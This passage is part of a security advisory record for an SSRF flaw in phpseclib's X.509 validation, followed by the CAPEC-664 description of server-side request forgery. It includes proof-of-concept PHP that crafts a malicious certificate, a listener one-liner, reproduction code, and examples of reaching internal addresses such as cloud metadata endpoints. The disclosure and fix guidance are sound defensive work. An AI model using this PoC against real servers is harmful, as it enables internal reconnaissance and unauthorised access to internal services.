\u0027id-ad-caIssuers\u0027,\n     \u0027accessLocation\u0027 =\u003e [\u0027uniformResourceIdentifier\u0027 =\u003e $url]],\n]);\n$key-\u003esign($cert);\nfile_put_contents(\u0027attacker_cert.pem\u0027, (string) $cert);\n```\n\nStand up a listener that represents an internal service on a port that is not otherwise reachable from outside:\n\n```\nphp -r \u0027$s=stream_socket_server(\"tcp://127.0.0.1:19090\",$e,$m);$c=stream_socket_accept($s,20);echo fread($c,4096);\u0027\n```\n\nReproduction on released LTS 3.0.53. Install it and have an application validate certificate:\n\n```\ncomposer require phpseclib/phpseclib:~3.0.0\n```\n\n```php\n\u003c?php\nrequire \u0027vendor/autoload.php\u0027;\n\nuse phpseclib3\\File\\X509;\n\n$v = new X509();\n$v-\u003eloadX509(file_get_contents(\u0027attacker_cert.pem\u0027));\n$v-\u003evalidateSignature();   // connects to 127.0.0.1:19090 during validation\n```\n\nReproduction on 4.0 development line. Same certificate, 4.0 namespace:\n\n```php\n\u003c?php\nrequire \u0027vendor/autoload.php\u0027;\n\nuse phpseclib4\\File\\X509;\n\nX509::clearCAStore();      // attacker cert issuer is not trusted\n$v = X509::load(file_get_contents(\u0027attacker_cert.pem\u0027));\n$v-\u003evalidateSignature();   // connects to 127.0.0.1:19090 during validation\n```\n\nObserved result, on both 3.0.53 and 4.0.x-dev. Listener receives a request whose host, port, and path all come from certificate, even though **validateSignature()** returns false:\n\n```\nGET /ssrf HTTP/1.0\nHost: 127.0.0.1\n```\n\nThis was also confirmed end to end over HTTP: an unauthenticated POST of certificate to an endpoint that calls **loadX509()** then **validateSignature()** makes server connect outbound to attacker-chosen **127.0.0.1:19090**. Changing host and port in certificate reaches any internal address and port, for example **169.254.169.254** or **127.0.0.1:6379**.\n\nNegative control. With **X509::disableURLFetch()** set before validation, validation returns false and no outbound connection is made. This confirms both root cause and that default-on behaviour is the trigger.\n\n### Impact\n\nThis is a server-side request forgery (CWE-918) caused by an insecure default (CWE-276): URL fetching is enabled by default and applies no destination restrictions while acting on untrusted certificate content.\n\nAn application is affected when it validates an attacker-influenced certificate, which covers client-certificate checks implemented in PHP, S/MIME and CMS signer verification, document and code-signing validation, and any feature that verifies an uploaded or pasted certificate. No authentication and no user interaction are needed.\n\nWhat an attacker gains:\n\n- Internal reconnaissance and port scanning. Connection success or failure and timing reveal which internal hosts and ports respond.\n- Interaction with internal-only HTTP services such as admin panels, dashboards, and webhooks bound to loopback or private ranges.\n- Requests to cloud metadata endpoints such as **169.254.169.254**, which answer plain HTTP GET on some providers.\n\nBecause fetch is blind, an attacker does not read internal response bodies through this path directly, so this is a request-forgery and reconnaissance primitive rather than direct disclosure of internal data. Any reflective sink elsewhere in an application, or any internal endpoint that performs an action on a GET, increases real impact.\n\nSuggested fix, strongest first: default **disableURLFetch** to true so AIA chasing is opt-in; if it stays enabled, validate destinations inside **fetchURL()** by rejecting loopback, link-local, and private addresses and restricting ports, and add an egress policy callback similar to existing **setCRLLookupCallback()**; and state plainly in documentation that validating an untrusted certificate can cause outbound requests to URLs found inside that certificate.",
  "id": "GHSA-m557-wrgg-6rp4",
  "modified": "2026-07-08T17:37:10Z",
  "published": "2026-06-16T15:03:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/phpseclib/phpseclib/security/advisories/GHSA-m557-wrgg-6rp4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55599"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/phpseclib/phpseclib"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "phpseclib: X.509 certificate validation sends attacker-controlled outbound requests (server-side request forgery) via Authority Information Access"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list